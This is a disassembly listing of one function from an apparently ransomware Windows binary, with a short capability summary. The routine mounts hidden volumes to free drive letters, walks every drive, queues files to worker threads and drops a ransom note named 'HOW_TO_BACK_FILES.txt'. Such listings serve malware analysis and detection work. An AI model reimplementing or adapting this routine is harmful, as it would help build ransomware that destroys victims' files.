Function at 0x1400066ac
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe60]
sub rsp, 0xf60
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rbp + 0xe50], rax
mov r15, r9
mov byte [rsp + 0x30], r8b
mov r14b, r8b
mov qword [rsp + 0x68], rcx
mov r13, rdx
mov rdi, rcx
mov ebx, 0xa
xor r8d, r8d
mov r9d, ebx
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r12d, r12d
mov qword [0x140054b58], rax
test rax, rax
je 0x14000722c
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], ebx
call fcn.14001b140
mov dword [rsp + 0x34], eax
xorps xmm0, xmm0
mov qword [rbp - 0x10], r12
lea ebx, [r12 + 1]
movdqu xmmword [rbp - 0x20], xmm0
test eax, eax
je 0x14000679a
mov ebx, eax
mov qword [rsp + 0x28], r12
lea r8, [0x140005d54]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x10]
je 0x140006781
mov qword [rdx], rax
add qword [rbp - 0x18], 8
jmp 0x14000678f
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14000a9ec
sub rbx, 1
jne 0x14000674a
mov ebx, 1
lea rax, [0x140005a1c]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.140006570]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x230], r12w
mov r8d, 0x206
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x232]
call fcn.14001eb50
mov edx, 0x104
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
mov edi, 0x5a
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140006916
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001eb50
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], ebx
jne 0x140006885
lea ebx, [rdi - 0x17]
lea rdx, [rbp + 0x230]
mov word [rbp + 0x200], bx
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x202], 0x5c003a
mov word [rbp + 0x206], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006885
inc ebx
cmp ebx, edi
jle 0x14000684e
mov r14d, 1
mov r8d, 0x104
lea rdx, [rbp + 0x230]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x440]
mov edi, eax
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x140006909
cmp dword [rbp - 0x38], r14d
jne 0x140006909
mov ebx, 0x43
lea rdx, [rbp + 0x230]
mov word [rbp + 0x208], bx
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x20a], 0x5c003a
mov word [rbp + 0x20e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006909
add ebx, r14d
cmp ebx, 0x5a
jle 0x1400068d0
test edi, edi
jne 0x14000688b
mov r14b, byte [rsp + 0x30]
mov r12d, 0x41
movzx ebx, r12w
lea esi, [r12 - 0x40]
movzx edi, bx
lea r8, [0x140049ab8]
mov r9d, edi
lea rcx, [rbp + 0x210]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006a5b
xor esi, esi
lea r8, [0x140049ac8]
mov r9d, edi
mov qword [rbp - 0x58], rsi
lea rcx, [rbp + 0x210]
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea edx, [rsi + 0xa]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x140054c20]
mov rax, qword [rbp - 0x30]
mov rcx, rdi
sub rax, qword [rbp - 0x28]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x38], rax
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x40], esi
jmp 0x1400069ea
mov qword [rsp + 0x38], rax
cmp word [rax + 0x20], bx
jae 0x1400069dc
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x40], esi
jmp 0x1400069ea
mov rcx, rax
mov dword [rsp + 0x40], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x1400069c7
cmp byte [rcx + 0x19], sil
jne 0x1400069fc
cmp bx, word [rcx + 0x20]
jae 0x140006a56
movabs rax, 0x492492492492492
cmp qword [0x140054c28], rax
je 0x14000725c
mov ecx, 0x38
call fcn.14001bf8c
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x140054c20]
movdqu xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x38]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movdqu xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], si
call fcn.14000af38
mov esi, 1
add bx, si
mov eax, 0x5a
cmp bx, ax
jbe 0x140006925
mov rbx, qword [r15]
mov rdi, qword [r15 + 8]
cmp rbx, rdi
je 0x140006c06
lea r14d, [rax - 0x29]
lea r13d, [rax - 0x59]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006a91
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
mov r8d, r13d
call fcn.140005fbc
add rbx, 0x20
cmp rbx, rdi
jne 0x140006a84
mov r12, qword [r15 + 8]
mov rbx, qword [r15]
jmp 0x140006bf5
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006ac1
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
bt eax, 4
jae 0x140006aed
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006ada
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
xor r8d, r8d
call fcn.140005fbc
jmp 0x140006bf1
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140006afa
mov rsi, qword [rbx]
mov rcx, rsi
call fcn.140005808
mov ecx, 0x30
movzx r15d, ax
call fcn.140022ed4
mov rdi, rax
test rax, rax
je 0x140006bf1
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r15w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140022ed4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140006b6e
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140054b58]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], r13d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140006bdb
lock add dword [0x140054b50], r13d
lock add dword [0x140054bcc], r13d
mov ecx, 0x2000
call fcn.140022ed4
mov rdi, rax
test rax, rax
je 0x140006bf1
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, rsi
lea r8, str._s__s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.140005bf8
jmp 0x140006be9
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140006be9
call fcn.140022ec0
mov rcx, rdi
call fcn.140022ec0
add rbx, 0x20
cmp rbx, r12
jne 0x140006ab4
xor r15d, r15d
jmp 0x140006e7d
xor r15d, r15d
test r13, r13
je 0x140006c96
mov ebx, 0x400
lea rcx, [rbp + 0x650]
mov edx, ebx
mov r8, r13
call fcn.1400241c4
test rax, rax
je 0x140006c8e
lea r14d, [r15 + 0x31]
lea rcx, [rbp + 0x650]
call fcn.140005838
lea rcx, [rbp + 0x650]
call fcn.140005808
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
mov r8d, esi
call fcn.140005fbc
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
xor r8d, r8d
call fcn.140005fbc
mov r8, r13
lea rcx, [rbp + 0x650]
mov edx, ebx
call fcn.1400241c4
test rax, rax
jne 0x140006c31
mov r14b, byte [rsp + 0x30]
mov rcx, r13
call fcn.14002380c
test r14b, r14b
jne 0x140006e77
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
movzx ebx, r12w
mov eax, 0x5a
lea r13d, [rax - 0x59]
test r13b, r14b
je 0x140006d51
mov ecx, 0x18
call fcn.140022ed4
mov rdi, rax
test rax, rax
je 0x140006d4c
movzx r15d, bx
lea r8, [0x140049ab8]
mov r9d, r15d
mov dword [rax + 0x14], r13d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006d49
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
xor r15d, r15d
lea r8, [0x1400063e4]
mov qword [rsp + 0x28], r15
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
add esi, r13d
mov qword [rbp + rcx*8 + 0x60], rax
jmp 0x140006d4c
xor r15d, r15d
mov eax, 0x5a
add bx, r13w
shr r14d, 1
cmp bx, ax
jbe 0x140006cb8
or r9d, 0xffffffff
lea rdx, [rbp + 0x60]
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140006d90
lea rbx, [rbp + 0x60]
mov edi, esi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006d7e
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov eax, 0x5a
test r13b, sil
je 0x140006e32
mov ecx, 0x18
call fcn.140022ed4
mov rbx, rax
test rax, rax
je 0x140006e2d
movzx r14d, r12w
lea r8, [0x140049ab8]
mov r9d, r14d
mov dword [rax + 0x14], r15d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006e2d
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r15
lea r8, [0x1400063e4]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + rdi*8 + 0x130], rax
add edi, r13d
mov eax, 0x5a
add r12w, r13w
shr esi, 1
cmp r12w, ax
jbe 0x140006da0
or r9d, 0xffffffff
lea rdx, [rbp + 0x130]
mov r8d, r13d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test edi, edi
je 0x140006e7d
lea rbx, [rbp + 0x130]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006e63
jmp 0x140006e7d
mov r13d, 1
mov rbx, qword [0x140055a20]
xorps xmm0, xmm0
sub rbx, qword [0x140055a18]
sar rbx, 5
mov qword [rbp + 8], r15
mov qword [rsp + 0x48], r15
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x38], xmm0
test rbx, rbx
je 0x140006f49
movabs rax, 0x7ffffffffffffff
cmp rbx, rax
ja 0x140007262
shl rbx, 5
mov r12d, 0x1000
cmp rbx, r12
jb 0x140006ede
mov rcx, rbx
call fcn.140004a88
mov rdi, rax
jmp 0x140006ef0
test rbx, rbx
je 0x140006eed
mov rcx, rbx
call fcn.14001bf8c
jmp 0x140006ed9
mov rdi, r15
mov rsi, qword [0x140055a20]
lea rax, [rbx + rdi]
mov rbx, qword [0x140055a18]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rdi
jmp 0x140006f3d
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbx + 0x18], 8
jb 0x140006f29
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.14000b214
add rdi, 0x20
add rbx, 0x20
cmp rbx, rsi
jne 0x140006f0e
mov qword [rsp + 0x40], rdi
jmp 0x140006f4f
mov r12d, 0x1000
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x38]
call fcn.14000bfd8
xor edx, edx
lea rcx, [rbp + 0x10]
lea r8d, [rdx + 0x48]
call fcn.14001eb50
lea rcx, [rbp + 0x10]
call fcn.14000b31c
mov r14, qword [rbp]
mov rdi, qword [rbp - 8]
cmp rdi, r14
je 0x140006fb5
mov r15d, dword [rdi]
mov rsi, qword [rbp + 0x48]
mov rbx, qword [rbp + 0x40]
jmp 0x140006fa4
cmp dword [rbx], r15d
jne 0x140006fa0
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.14000b5ec
add rbx, 0x28
cmp rbx, rsi
jne 0x140006f8f
add rdi, 4
cmp rdi, r14
jne 0x140006f82
xor r15d, r15d
lea rcx, [rbp + 0x40]
call fcn.14000938c
lea rcx, [rbp + 0x10]
call fcn.14000cebc
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140054bd0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140055a18]
mov r14, qword [0x140055a20]
jmp 0x1400070ae
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140006fff
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.140022ed4
mov rdi, rax
test rax, rax
je 0x1400070c4
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140005808
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140022ed4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140007099
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140054b58]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140007099
lock add dword [0x140054b50], r13d
lock add dword [0x140054bcc], r13d
jmp 0x1400070aa
mov rcx, qword [rdi + 0x20]
call fcn.140022ec0
mov rcx, rdi
call fcn.140022ec0
add rbx, 0x20
cmp rbx, r14
jne 0x140006ff2
lea rcx, [0x140054bd0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x140055a18]
mov rdi, qword [0x140055a20]
cmp rbx, rdi
je 0x140007103
mov rcx, rbx
call fcn.140004724
add rbx, 0x20
cmp rbx, rdi
jne 0x1400070d7
mov rax, qword [0x140055a18]
mov qword [0x140055a20], rax
jmp 0x140007103
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x140054b54]
mov eax, dword [0x140054bcc]
cmp eax, ecx
jg 0x1400070f8
lea rax, [0x140006424]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x58], rax
call fcn.140006570
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x14000714f
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x34]
mov ebx, esi
test esi, esi
je 0x140007176
mov edi, esi
mov rcx, qword [0x140054b58]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rdi, r13
jne 0x14000715b
mov rdx, qword [rbp - 0x20]
or r9d, 0xffffffff
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x1400071a7
mov rdi, r15
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rdi + rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rdi + 8]
sub rbx, r13
jne 0x140007190
mov rcx, qword [0x140054b58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400071f6
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, r12
jb 0x1400071e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007256
call fcn.14001bfd0
xorps xmm0, xmm0
mov qword [rbp + 8], r15
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14000722c
mov rdx, qword [rbp - 0x10]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, r12
jb 0x140007227
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007256
call fcn.14001bfd0
mov rcx, qword [rbp + 0xe50]
xor rcx, rsp
call fcn.14001bcd0
mov rbx, qword [rsp + 0xfb0]
add rsp, 0xf60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002354c
int3
call fcn.140004ad0
int3
call fcn.14000a648
int3